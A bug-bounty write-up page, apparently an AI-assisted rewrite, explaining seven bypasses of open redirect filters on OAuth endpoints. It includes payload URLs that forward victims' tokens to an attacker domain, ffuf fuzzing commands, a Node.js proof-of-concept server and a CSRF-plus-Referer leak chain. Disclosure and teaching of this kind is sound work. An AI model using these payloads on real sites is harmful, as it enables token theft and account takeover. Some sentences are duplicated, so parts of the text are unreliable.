Skip to content
Open redirect Write-up Intermediate

Bypassing the Redirect filters with 7 ways

The report describes multiple ways to bypass open redirect filters on OAuth endpoints, allowing an attacker to steal OAuth tokens by redirecting victims to attacker-controlled domains. The bypasses include path-based redirects, encoded characters, double encoding, CSRF to force team joins, special characters in Safari, and whitelist word brute-forcing.

ElMahdi Mrhassel Follow

Published on elmahdi.tistory.com

Hello Bug Bounty Hunters, In this writeup I will be explaining various scenarios on how to bypass Open Redirect Filters that will lead to Open Redirect> ATO

ElMahdi Mrhassel (@ElMrhassel), on elmahdi.tistory.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

This write-up collects seven different ways of getting past redirect filters, all of them aimed at the same end result: an open redirect that can be chained into OAuth token theft and, in the best case, account takeover. The targets are anonymised as target01, target02, target03 and www.target.com, and the attacker's own domain appears throughout as mahdi.com or Mahdi.com. The common feature is a redirect parameter on an OAuth endpoint (next=, redirect=, redirect_uri=, state=, u=) that is supposed to send the user only to a trusted destination, and a filter that tries to enforce that.

The first four sections concern one application, target01, whose OAuth endpoint hands the token and email to the URL the parameter points at; in 0x04 the leak comes later, through Referer. The researcher had already reported a plain redirect=httpx://mahdi.com/ style bug there, and it was fixed. Everything that follows is a bypass of that fix.

Setup

The work is manual testing plus fuzzing. The tools named are Burp Suite Intruder, FFUF, a VPS with Node.js and forever, and xip.io for wildcard DNS. Two wordlists are used:

  • URL-Encode-chars.txt, referenced from https://pastebin.com/raw/b7HsBvZ7
  • large-words-list.txt, referenced from the fuzzdb raft-large-words.txt

No versions, accounts or roles are given. The precondition for every OAuth variant is a victim who visits an attacker-supplied link while an OAuth flow is in progress, so that the token is issued and then redirected.

Finding it

The starting point in section 0x01 is a fixed bug: the site used to redirect to httpx://mahdi.com/ and leak the token. After the fix, the researcher tried common open redirect payloads against the OAuth endpoint and none worked, and a search for other open redirect endpoints on the site turned up nothing. The idea that broke the deadlock was to look for an open redirect based on the path URI rather than a parameter.

Exploitation

0x01: path-URI open redirect feeding the OAuth next parameter

The site turned out to be vulnerable to a path-based redirect. Requesting a path that begins with a double slash sends the browser elsewhere:

HTTP
https://www.target01.com//mahdi.com/

This redirects to //mahdi.com/. Because the OAuth filter accepted any path with a valid host, that redirect could be placed in the next parameter and the token would follow it:

Text
https://www.target01.com/api/OAUTH/?next=https://www.target01.com//mahdi.com/> https://www.target01.com//mahdi.com/?token =xxx&email=xx...> https://mahdi.com/?token=xxx&email=xx..

The chain is: the OAuth endpoint validates next as belonging to www.target01.com, the path part //mahdi.com/ is then interpreted as a protocol-relative URL, and the browser lands on mahdi.com carrying token and email in the query string.

0x02: %09 in the host

After the path-URI redirect was fixed, the researcher fuzzed the OAuth endpoint with tricks such as %5c and @ until %09 (a tab) was accepted:

HTTP
https://www.target01.com/api/OAUTH?next=https://www.target01.com%09.mahdi.com

When the victim visits this URL, the parser drops www.target01.com and the token is redirected to the attacker's site:

Text
https://www.target01.com/api/OAUTH?next=https://www.target01.com%09.mahdi.com> https://www.mahdi.com/?token=xxxx&email=... .

The report says the parser deletes www.target01.com and the token is redirected to the attacker's site.

0x03: double-encoded dot, %252E

After %09 was fixed, the researcher returned to the same endpoint and found that a double-encoded dot was accepted. The backend decodes twice, so %252e becomes . at the point where the host is resolved, and the redirect goes to the attacker's domain. The researcher also created a subdomain under mahdi.com carrying the target's name, to satisfy domain whitelisting:

Text
www.target01.com/api/OAUTH/?next=https://www.target01.com%252e.mahdi.com> www.target01.com.mahdi.com/?token=xxxx&email=....

The backend decodes twice, so %252e becomes a dot, and the researcher created a subdomain under mahdi.com carrying the target's name to satisfy domain whitelisting.

0x04: CSRF on team join, then redirect to the project page

With the OAuth bypasses fixed, the researcher looked for any feature that lets a user set an external URL in an img or a tag. Only one place allowed an external domain: a project setting. On its own the impact was limited, because projects are accessible only to team members. To raise the impact, the researcher needed a way to force other users into the team, and found that the join-team endpoint was not protected against CSRF.

The attack is:

  1. The attacker builds a page on their own site containing an image tag whose value is the invite URL.
  2. After a few seconds the page redirects the user to the OAuth endpoint with the project page as next:
Text
https://www.target01.com/api/OAUTH/?next=https://www.target01.com/project/team> https://www.target01.com/project/team?token=xxx&email ...
  1. The victim is now a team member and lands on the project page with the token in the URL.
  2. When the victim clicks the project domain, the token leaks through the Referer header to the attacker's website.

The redirect target here is a legitimate page on the target, so the OAuth filter is satisfied; the leak happens on the next navigation, via Referer.

0x05: %5b and a slash injected by the parser

This section concerns a different private program, target02, where a simple OAuth bug had been reported and fixed weeks earlier. Common bypasses failed. The researcher then copied the endpoint that redirects the token and fuzzed it with the URL-encode character list in Burp Intruder:

HTTP
https://target02.com/api/oauth?code=&state=https://Mahdi.com$FUZZ$.target02.com/

Reviewing the Intruder results one by one, the researcher noticed that a / had been added before [, producing Mahdi.com/[.target02.com. That made it possible to steal the victim's token by redirecting to the attacker's site:

Text
http://target02.com/oauth?redirect_uri=https://Mahdi.com[.target02.com/> https://target02.com/api/oauth?code=&state=https://Mahdi.com[ .target02.com/> https://Mahdi.com/[.target02.com/?code=xxxx..

The parser's handling of [ inserts a slash, and the resulting URL resolves to Mahdi.com with the code in the path.

0x06: special characters accepted by the backend, exploited in Safari

On target03, the parameter was next=. All manual bypass attempts failed, so the researcher fuzzed with the URL-encode character list placed before a dot, to see which special characters the backend would accept and turn into a subdomain of the target. The tool was FFUF:

Bash
ffuf -w URL-Encode-chars.txt -u https://www.target03.com/endpoit/protected?next=https:/www.target.comFUZZ.MY_VPS_IP

Many special characters were accepted by the backend, including $=()_*!. The researcher then wrote a small Node.js server on the VPS:

JavaScript
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80

http.createServer(function(req, res) {
        res.writeHead(200, {'Content-Type':'text/html'});
        res.write('safari open-redirect-poc');
        res.end();

}).listen(port, '[redacted]');
console.log(`Serving on port ${port}`);

started it with:

Bash
forever start serve.js

and used xip.io for a wildcard DNS record. The resulting URL redirects Safari users to the malicious site:

HTTP
https://www.target03.com/endpoint/protected?next=https://www.target03.com*.MY_VPS_IP.xip.io

The * is one of the accepted characters, and the browser resolves the full host through xip.io to the VPS.

0x07: brute-forcing the whitelist and finding expired domains

On a Sunday evening the researcher received a notification that an old open redirect report had been fixed, and started trying every known bypass. The idea that worked was to brute-force a large wordlist against the redirect parameter and look for expired domains in the whitelist:

Bash
ffuf -w words.txt -u https://www.target.com/endpoint?u=https://www.FUZZ.com/

Some sites were in the whitelist, including google.com, youtube.com, twitter.com, rss-twitter.com and share-twitter.com. Visiting share-twitter.com and rss-twitter.com showed that both were expired and could be bought. The bypass was reported immediately: buy the expired domain and the whitelist lets it through.

A few hours later the researcher realised that the whitelist may not have contained those domains at all, but only the word twitter. The researcher found the word twitter is in the whitelist, so a URL ending in twitter can be used:

HTTP
https://www.target.com/endpoint?u=https://Mahditwitter.com/

Root cause

Every variant is a mismatch between the string the filter inspects and the URL the browser or backend finally resolves. The filter checks a prefix, a suffix or a substring of the raw value, while the parser applies its own rules afterwards: protocol-relative paths (//), control characters such as %09 that terminate the host, double decoding (%252e), characters such as [ that cause a slash to be inserted, characters such as * that are tolerated in a host position, and substring matching on a bare word such as twitter. In 0x04 the redirect target is legitimate and the leak comes from Referer on a subsequent navigation, combined with a join-team endpoint that lacks CSRF protection. The report does not describe the server-side code, so the exact implementation of each check is not known.

Impact

In the OAuth cases the attacker obtains the victim's token and email, and in 0x05 the authorization code, by getting the victim to visit a crafted link during a flow. In 0x04 the attacker also forces the victim into a team through CSRF, which widens who can reach the project page, and the token then leaks through Referer. In 0x06 the redirect works in Safari specifically. In 0x07 the impact depends on buying an expired whitelisted domain, or on any domain whose name ends with the whitelisted word. The report frames the overall outcome as open redirect leading to account takeover, but does not show a completed takeover for any of the seven cases.

Fix

No fix is described for any of the variants. The report only records that each earlier bypass was fixed before the next one was found, and that the expired-domain bypass was reported. What a correct fix looks like is not discussed.

Variants to test

  1. Path-based redirect: request https://host//attacker.com/ and see whether the response sends you to //attacker.com/. A positive result is a redirect whose Location is protocol-relative.
  2. Control characters in the host: put %09, %5c or @ between the trusted host and the attacker domain in the redirect parameter. A positive result is a redirect to the attacker domain.
  3. Double encoding: send %252e where a dot is expected, and check whether the final redirect resolves to the attacker host after the second decode.
  4. Parser-inserted slashes: fuzz the position before a dot with the URL-encode character list and look for values where the resulting URL resolves to the attacker domain while still ending in the trusted suffix.
  5. Special characters in the host position: fuzz with FFUF and a wildcard DNS service such as xip.io, then test the accepted characters in Safari. A positive result is a redirect to the VPS.
  6. Whitelist brute force: run a large wordlist against the redirect parameter and check each hit for expiry. A positive result is a whitelisted domain that is available to register.
  7. Substring whitelists: try a domain that merely contains a whitelisted word, such as Mahditwitter.com. A positive result is a redirect to it.
  8. CSRF on team or group join: check whether the join endpoint accepts a cross-site request, then chain it with a redirect to a page that carries a token and leaks it through Referer.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

This is a story about seven different tricks that all do the same thing: they make a website send a visitor to a different website, even though the site has a filter that is supposed to stop exactly that. The trick is called an open redirect. On its own, an open redirect is annoying but not very dangerous. The danger comes when the site is in the middle of logging someone in, because at that moment the site is carrying a secret value (a token) that proves who the user is. If you can redirect that secret to a website you control, you can log in as the victim. That final step is called account takeover (ATO).

Most of the tricks are aimed at an OAuth login endpoint; the last two are plain open redirects. OAuth is the system behind the "Log in with Google" or "Log in with Facebook" buttons you have seen. When you click one, the site you are visiting sends you to the login provider, you log in there, and the provider sends you back to the site with a token. The site has to know where to send you back to, so the request carries a parameter such as next=, redirect=, redirect_uri=, state= or u= that says "send me back here". If an attacker can control that value, the token goes to the attacker instead.

The sites in this write-up are anonymised. The first application is called target01, the second target02, the third target03, and the last one www.target.com. The attacker's own website appears as mahdi.com or Mahdi.com. The first four sections are all about target01. The researcher had already reported a simple version of the bug there (the site would happily redirect to httpx://mahdi.com/ and hand over the token), and the site fixed it. Everything in sections 0x01 to 0x04 is a way around that fix.

The tools and the setup

Most of the work is done by hand: the researcher opens a browser, types a URL, and watches where it goes. When hand-typing gets too slow, the researcher uses fuzzing, which means trying hundreds or thousands of variations of a value automatically and looking at which ones behave differently.

The tools named in the report are:

  • Burp Suite Intruder: a tool that takes a request and replaces one marked spot with every line of a wordlist, one at a time, then shows you all the responses side by side. Think of it as a machine that fills in a form for you, thousands of times, with a different answer each time.
  • FFUF: a command-line fuzzer that does the same job from a terminal. The FUZZ keyword in the URL is the spot that gets replaced.
  • A VPS: a virtual private server, a small computer you rent on the internet that you fully control. The researcher uses one to host a fake website.
  • Node.js: a way to run JavaScript on a server instead of in a browser. It is used here to write a tiny web server.
  • forever: a small program that keeps a Node.js script running in the background even after you close your terminal.
  • xip.io: a free service that turns a hostname containing an IP address into that IP address. For example, anything.203.0.113.5.xip.io resolves to [redacted]. This is useful because it gives you a wildcard: any subdomain you invent points at your server.

Two wordlists are used. A wordlist is just a text file with one candidate value per line.

  • URL-Encode-chars.txt, from https://pastebin.com/raw/b7HsBvZ7. It contains URL-encoded special characters such as %09, %5c, %5b and so on.
  • large-words-list.txt, from the fuzzdb project's raft-large-words.txt. It contains a very large list of common words and domain names.

The report does not give versions, accounts or roles. The precondition for every OAuth variant is the same: a victim who is in the middle of an OAuth login and who clicks a link the attacker gave them, so that a token is issued and then redirected.

Finding the first hole

Section 0x01 starts from a fixed bug. The site used to redirect to httpx://mahdi.com/ and leak the token. After the fix, the researcher tried the usual open redirect payloads against the OAuth endpoint and none of them worked. A search for other endpoints on the site that might redirect also turned up nothing. The idea that broke the deadlock was to stop looking at parameters and look at the path of the URL instead.

A URL has several parts. In https://www.target01.com/api/OAUTH/?next=..., the https is the scheme, www.target01.com is the host, /api/OAUTH/ is the path, and next=... is the query string. Most open redirects live in the query string. But some servers also redirect based on the path, and that is what the researcher went looking for.

Exploitation

0x01: a redirect built from the path, fed into the OAuth next parameter

The site turned out to be vulnerable to a path-based redirect. Requesting a path that begins with a double slash sends the browser somewhere else:

HTTP
https://www.target01.com//mahdi.com/

Line by line: the scheme is https, the host is www.target01.com, and the path is //mahdi.com/. A browser reading a path that starts with // treats it as a protocol-relative URL: it means "same scheme as now, but a different host". So the browser goes to https://mahdi.com/. The server, meanwhile, only looked at the host part of the request and thought everything was fine.

Because the OAuth filter accepted any path with a valid host, that redirect could be placed in the next parameter and the token would follow it:

Text
https://www.target01.com/api/OAUTH/?next=https://www.target01.com//mahdi.com/> https://www.target01.com//mahdi.com/?token =xxx&email=xx...> https://mahdi.com/?token=xxx&email=xx..

This is a chain written with > arrows, read left to right. The first URL is what the victim clicks: the OAuth endpoint with next= pointing at a path on the trusted host that happens to start with //mahdi.com/. The second URL is where the OAuth endpoint sends the victim: the same path, now carrying token and email in the query string. The third URL is where the browser finally lands: mahdi.com, with the token and email still attached. The filter checked that next belonged to www.target01.com and was satisfied; the browser then applied its own rule about // and went to the attacker.

0x02: a tab character, %09, in the host

After the path-URI redirect was fixed, the researcher went back to the OAuth endpoint and fuzzed it with tricks such as %5c (a backslash) and @ (which in URLs can separate a username from a host) until %09 was accepted. %09 is the URL encoding of a tab character, an invisible whitespace character.

HTTP
https://www.target01.com/api/OAUTH?next=https://www.target01.com%09.mahdi.com

Line by line: the victim visits the OAuth endpoint. The next parameter contains https://www.target01.com, then a tab, then .mahdi.com. The filter reads the string from the start, sees the trusted host, and lets it through. The report says the parser deletes www.target01.com and the token is redirected to the attacker's site.

When the victim visits this URL, the parser drops www.target01.com and the token is redirected to the attacker's site:

Text
https://www.target01.com/api/OAUTH?next=https://www.target01.com%09.mahdi.com> https://www.mahdi.com/?token=xxxx&email=... .

Again read left to right: the first URL is what the victim clicks, the second is where the token ends up. The xxxx and ... stand for the real token and email, which the report does not show.

0x03: a dot encoded twice, %252E

After %09 was fixed, the researcher came back to the same endpoint and found that a double-encoded dot was accepted. Encoding is how special characters are written in a URL: a dot can be written as %2e. If you encode the % of %2e as well, you get %252e. A server that decodes the value once turns %252e into %2e; a server that decodes it twice turns it into .. The backend here decoded twice, so %252e became a real dot at the moment the host was resolved, and the redirect went to the attacker's domain. The researcher also created a subdomain under mahdi.com carrying the target's name, so that the value would still look like it belonged to the target:

Text
www.target01.com/api/OAUTH/?next=https://www.target01.com%252e.mahdi.com> www.target01.com.mahdi.com/?token=xxxx&email=....

Line by line: the victim clicks the first URL, whose next value is https://www.target01.com%252e.mahdi.com. The backend decodes a second time, the %252e becomes ., and the value turns into www.target01.com.mahdi.com. The backend then decodes a second time, the %252e becomes ., and the value turns into www.target01.com.mahdi.com. That host is a subdomain of mahdi.com, which the attacker controls, so the token and email land there.

0x04: forcing users into a team, then leaking the token through Referer

With the OAuth bypasses fixed, the researcher looked for any feature that lets a user put an external URL into an img tag or an a tag. An img tag loads an image from a URL; an a tag is a link. If a site lets you set either to any domain, you can make visitors' browsers contact your server. Only one place allowed an external domain: a project setting. On its own the impact was limited, because projects are accessible only to team members. To raise the impact, the researcher needed a way to force other users into the team, and found that the join-team endpoint was not protected against CSRF.

CSRF stands for Cross-Site Request Forgery. It means another website can make your browser send a request to the target site using your existing login, without you meaning to. If the join-team endpoint accepts such a request, an attacker's page can silently add you to a team.

The attack is:

  1. The attacker builds a page on their own site containing an image tag whose value is the invite URL. When the victim loads the page, the browser tries to load the "image", which is really the join-team request, and the victim is added to the team.
  2. After a few seconds the page redirects the user to the OAuth endpoint with the project page as next:
Text
https://www.target01.com/api/OAUTH/?next=https://www.target01.com/project/team> https://www.target01.com/project/team?token=xxx&email ...

Line by line: the first URL is the OAuth endpoint, and its next value is a legitimate page on the target, /project/team. The filter is happy because the destination really is the target. The second URL is where the victim lands: the project page, now carrying token and email in the query string.

  1. The victim is now a team member and lands on the project page with the token in the URL.
  2. When the victim clicks the project domain, the token leaks through the Referer header to the attacker's website.

The Referer header is something your browser sends with every request to tell the server which page you came from. If the project page contains a link or image pointing at the attacker's site, the browser sends the full URL of the project page, including the token, in that header. The redirect target here is legitimate, so the OAuth filter is satisfied; the leak happens on the next navigation, through Referer.

0x05: %5b and a slash the parser inserts

This section is about a different private program, target02, where a simple OAuth bug had been reported and fixed weeks earlier. Common bypasses failed. The researcher then copied the endpoint that redirects the token and fuzzed it with the URL-encode character list in Burp Intruder:

HTTP
https://target02.com/api/oauth?code=&state=https://Mahdi.com$FUZZ$.target02.com/

Line by line: the endpoint is /api/oauth on target02.com. It takes a code parameter (empty here) and a state parameter. The state value is https://Mahdi.com, then the $FUZZ$ marker, then .target02.com/. Intruder replaces $FUZZ$ with each line of the wordlist in turn, so each request tests one special character in that position.

Reviewing the Intruder results one by one, the researcher noticed that a / had been added before [, producing Mahdi.com/[.target02.com. That made it possible to steal the victim's token by redirecting to the attacker's site:

Text
http://target02.com/oauth?redirect_uri=https://Mahdi.com[.target02.com/> https://target02.com/api/oauth?code=&state=https://Mahdi.com[ .target02.com/> https://Mahdi.com/[.target02.com/?code=xxxx..

Line by line: the first URL is the OAuth entry point, with redirect_uri set to https://Mahdi.com[.target02.com/. The parser's handling of [ inserts a slash, and the resulting URL resolves to Mahdi.com with the code attached. The second URL is the API endpoint that issues the token, with state set to the same value. The third URL is where the browser ends up: Mahdi.com/[.target02.com/, with the authorization code in the path.

0x06: special characters the backend accepts, exploited in Safari

On target03, the parameter was next=. All manual bypass attempts failed, so the researcher fuzzed with the URL-encode character list placed before a dot, to see which special characters the backend would accept and turn into a subdomain of the target. The tool was FFUF:

Bash
ffuf -w URL-Encode-chars.txt -u https://www.target03.com/endpoit/protected?next=https:/www.target.comFUZZ.MY_VPS_IP

Line by line: ffuf is the program. -w URL-Encode-chars.txt tells it to use that wordlist. -u gives the URL template, and FUZZ is the spot that gets replaced with each wordlist entry. So each request has next=https:/www.target.com followed by one special character, then .MY_VPS_IP. The researcher is asking: which characters does the backend tolerate in the host position, and does it still treat the result as a subdomain of target03.com?

Many special characters were accepted by the backend, including $=()_*!. The researcher then wrote a small Node.js server on the VPS:

JavaScript
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80

http.createServer(function(req, res) {
        res.writeHead(200, {'Content-Type':'text/html'});
        res.write('safari open-redirect-poc');
        res.end();

}).listen(port, '[redacted]');
console.log(`Serving on port ${port}`);

Line by line: the first four lines load Node.js's built-in http, url and fs modules and set port to 80, the standard port for plain HTTP. http.createServer(...) creates a server that, for every request, sends a 200 OK status with the content type text/html and the body safari open-redirect-poc, then ends the response. .listen(port, '[redacted]') makes it listen on port 80 on all network interfaces. The last line prints a message to the console. The point of this server is simply to be a destination the researcher controls, so that a successful redirect is visible.

The server was started with:

Bash
forever start serve.js

Line by line: forever is the program, start is the action, and serve.js is the file to run. forever keeps the script running in the background.

The researcher used xip.io for a wildcard DNS record. A DNS record is the entry that tells the internet which IP address a hostname belongs to. xip.io is a service that reads the IP address out of the hostname itself, so any subdomain you invent points at your server. The resulting URL redirects Safari users to the malicious site:

HTTP
https://www.target03.com/endpoint/protected?next=https://www.target03.com*.MY_VPS_IP.xip.io

Line by line: the victim visits the protected endpoint on target03.com, with next set to https://www.target03.com*.MY_VPS_IP.xip.io. The * is one of the accepted characters. The * is one of the accepted characters, and the browser resolves the full host through xip.io to the VPS. The browser, however, resolves the full host through xip.io, which turns MY_VPS_IP into the researcher's server address. So the victim ends up on the VPS. The report notes that this works in Safari specifically.

0x07: brute-forcing the whitelist and finding expired domains

On a Sunday evening the researcher received a notification that an old open redirect report had been fixed, and started trying every known bypass. The idea that worked was to brute-force a large wordlist against the redirect parameter and look for expired domains in the whitelist. A whitelist is a list of values the site will accept; here, a list of domains the redirect is allowed to go to. An expired domain is one whose owner stopped paying for it, so anyone can register it.

Bash
ffuf -w words.txt -u https://www.target.com/endpoint?u=https://www.FUZZ.com/

Line by line: ffuf runs with the wordlist words.txt. The URL template is the endpoint on www.target.com, with u= set to https:// followed by the wordlist entry, then .com/. Each request asks: is this domain in the whitelist? A different response means a hit.

Some sites were in the whitelist, including google.com, youtube.com, twitter.com, rss-twitter.com and share-twitter.com.

Visiting share-twitter.com and rss-twitter.com showed that both were expired and could be bought. The bypass was reported immediately: buy the expired domain and the whitelist lets it through.

A few hours later the researcher realised that the whitelist may not have contained those domains at all, but only the word twitter. The researcher found the word twitter is in the whitelist, so a URL ending in twitter can be used:

HTTP
https://www.target.com/endpoint?u=https://Mahditwitter.com/

Line by line: the victim visits the endpoint with u set to https://Mahditwitter.com/. The filter looks for the word twitter inside the value, finds it at the end, and lets it through. The browser goes to Mahditwitter.com, which the attacker controls.

Why all seven work

Every variant is a mismatch between the string the filter inspects and the URL the browser or backend finally resolves. The filter checks a prefix, a suffix or a substring of the raw value, while the parser applies its own rules afterwards: protocol-relative paths (//), control characters such as %09 that end the host, double decoding (%252e), characters such as [ that cause a slash to be inserted, characters such as * that are tolerated in a host position, and substring matching on a bare word such as twitter. In 0x04 the redirect target is legitimate and the leak comes from Referer on a later navigation, combined with a join-team endpoint that lacks CSRF protection.

What the attacker gets

In the OAuth cases the attacker obtains the victim's token and email, and in 0x05 the authorization code, by getting the victim to visit a crafted link during a flow. In 0x04 the attacker also forces the victim into a team through CSRF, which widens who can reach the project page, and the token then leaks through Referer. In 0x06 the redirect works in Safari specifically. In 0x07 the impact depends on buying an expired whitelisted domain, or on any domain whose name ends with the whitelisted word. The report frames the overall outcome as open redirect leading to account takeover, but does not show a completed takeover for any of the seven cases.

What the fix would be

No fix is described for any of the variants. The report only records that each earlier bypass was fixed before the next one was found, and that the expired-domain bypass was reported. What a correct fix looks like is not discussed.

Things to try on your own

  1. Path-based redirect: request https://host//attacker.com/ and see whether the response sends you to //attacker.com/. A positive result is a redirect whose Location header is protocol-relative.
  2. Control characters in the host: put %09, %5c or @ between the trusted host and the attacker domain in the redirect parameter. A positive result is a redirect to the attacker domain.
  3. Double encoding: send %252e where a dot is expected, and check whether the final redirect resolves to the attacker host after the second decode.
  4. Parser-inserted slashes: fuzz the position before a dot with the URL-encode character list and look for values where the resulting URL resolves to the attacker domain while still ending in the trusted suffix.
  5. Special characters in the host position: fuzz with FFUF and a wildcard DNS service such as xip.io, then test the accepted characters in Safari. A positive result is a redirect to the VPS.
  6. Whitelist brute force: run a large wordlist against the redirect parameter and check each hit for expiry. A positive result is a whitelisted domain that is available to register.
  7. Substring whitelists: try a domain that merely contains a whitelisted word, such as Mahditwitter.com. A positive result is a redirect to it.
  8. CSRF on team or group join: check whether the join endpoint accepts a cross-site request, then chain it with a redirect to a page that carries a token and leaks it through Referer.

Glossary

  • Account takeover (ATO): when an attacker gains control of someone else's account, usually by stealing their login token or password.
  • API: an interface a program uses to talk to another program, usually over the web, with URLs that return data instead of web pages.
  • Authorization code: a short-lived value an OAuth provider gives the site after login, which the site exchanges for a token.
  • Burp Suite Intruder: a tool that sends the same request many times, replacing one marked spot with each line of a wordlist.
  • CSRF (Cross-Site Request Forgery): an attack where another website makes your browser send a request to a site you are logged into, without your intent.
  • DNS record: the entry that maps a hostname to an IP address.
  • Double encoding: encoding a value twice, so that one decode still leaves it encoded and a second decode turns it into the real character.
  • Expired domain: a domain whose owner stopped paying for it, so anyone can register it.
  • FFUF: a command-line fuzzer that replaces the FUZZ keyword in a URL with each line of a wordlist.
  • Filter: code on a server that checks a value and rejects it if it does not match an expected pattern.
  • forever: a program that keeps a Node.js script running in the background.
  • Fuzzing: trying many variations of a value automatically and looking for ones that behave differently.
  • Host: the part of a URL that names the server, such as www.target01.com.
  • img tag: an HTML tag that tells the browser to load an image from a URL.
  • a tag: an HTML tag that creates a link to a URL.
  • OAuth: a login system where a site sends you to a provider to log in, and the provider sends you back with a token.
  • Open redirect: a feature that sends a visitor to a URL supplied in the request, without checking that the destination is trusted.
  • Parameter: a named value in a URL's query string, such as next= or redirect_uri=.
  • Path: the part of a URL after the host, such as /api/OAUTH/.
  • Protocol-relative URL: a URL that starts with //, meaning "same scheme as now, different host".
  • Query string: the part of a URL after ?, made of name=value pairs.
  • Referer header: a header the browser sends to tell the server which page the request came from.
  • Scheme: the first part of a URL, such as https or http.
  • Subdomain: a hostname that sits under another, such as www.target01.com under target01.com.
  • Token: a secret value that proves who a user is, so the site does not have to ask for a password on every request.
  • URL encoding: writing special characters as % followed by two hex digits, such as %09 for a tab.
  • VPS: a virtual private server, a small computer you rent on the internet that you fully control.
  • Whitelist: a list of values a site will accept, such as domains a redirect is allowed to go to.
  • Wordlist: a text file with one candidate value per line, used by fuzzers.
  • xip.io: a free service that turns a hostname containing an IP address into that IP address, giving you a wildcard DNS record.

More by ElMahdi Mrhassel

View all

4 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Open redirect

The lesson behind this report.

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.